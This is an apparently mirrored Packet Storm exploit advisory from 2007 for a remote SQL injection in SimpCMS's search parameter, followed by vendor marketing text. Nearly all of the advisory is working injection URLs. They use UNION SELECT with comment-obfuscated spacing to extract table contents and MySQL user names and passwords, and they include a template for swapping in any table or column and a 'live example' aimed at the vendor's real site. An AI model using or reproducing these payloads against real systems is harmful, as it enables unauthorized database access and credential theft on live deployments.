Lucene search
K

simpcms-sql.txt

🗓️ 18 Sep 2007 00:00:00Reported by Cold ZeroType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

SimpCMS Remote SQL Injection Vulnerability found in search functionalit

Code
`SimpCMS <= all Remote SQL Injection Vulnerability  
  
  
Found By : ú Cold z3ro , http://www.hackteach.org/  
  
  
Script : http://www.simpcms.com/  
  
  
====================================  
  
Exploit :  
  
/index.php?site=search&keyword=1)'/**/union/**/select/**/0,1,2,3,name,5,6/**/from/**/categories/*  
  
OR  
  
/index.php?site=search  
  
in search area insert your query  
  
$query = 1)'/**/union/**/select/**/0,1,2,3,$COLUMN,5,6/**/from/**/$TABLE/*  
  
$TABLE = "categories" OR "news" OR "mysql.user" OR "mysql.db" OR   
"information_schema.tables"  
  
$COLUMN = "name" OR "id" OR "username" OR "password"  
  
Examples :  
  
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\  
  
1 ) From $TABLE categories :  
  
/index.php?site=search&keyword=1)'/**/union/**/select/**/0,1,2,3,name,5,6/**/from/**/categories/*  
  
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\  
  
2 ) From $TABLE news :  
  
/index.php?site=search&keyword=1)'/**/union/**/select/**/0,1,2,3,id,5,6/**/from/**/news/*  
  
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\  
  
3 ) From $TABLE mysql.user :  
  
/index.php?site=search&keyword=1)'/**/union/**/select/**/0,1,2,3,username,5,6/**/from/**/mysql.user/*  
/index.php?site=search&keyword=1)'/**/union/**/select/**/0,1,2,3,password,5,6/**/from/**/mysql.user/*  
  
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\  
  
====================================  
  
Live Example :  
  
http://www.simpcms.com/medium/normal/index.php?site=search&keyword=1)'/**/union/**/select/**/0,user(),database(),3,name,5,6/**/from/**/categories/*  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation